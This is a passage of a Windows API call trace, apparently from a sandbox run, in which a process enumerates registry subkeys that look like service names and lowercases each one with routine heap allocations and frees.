(HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0248.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0248.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0248.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0248.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0248.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0248.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0248.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0248.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0248.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0248.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0248.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.984] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0248.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0248.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0248.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0248.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0248.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0248.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0248.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0248.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0248.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0248.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0248.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0248.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0248.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0248.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0248.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0248.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0248.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0248.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0248.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0248.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0248.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0248.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0248.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0248.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.010] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0249.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0249.010] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.010] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.010] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0249.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0249.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.011] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0249.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0249.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 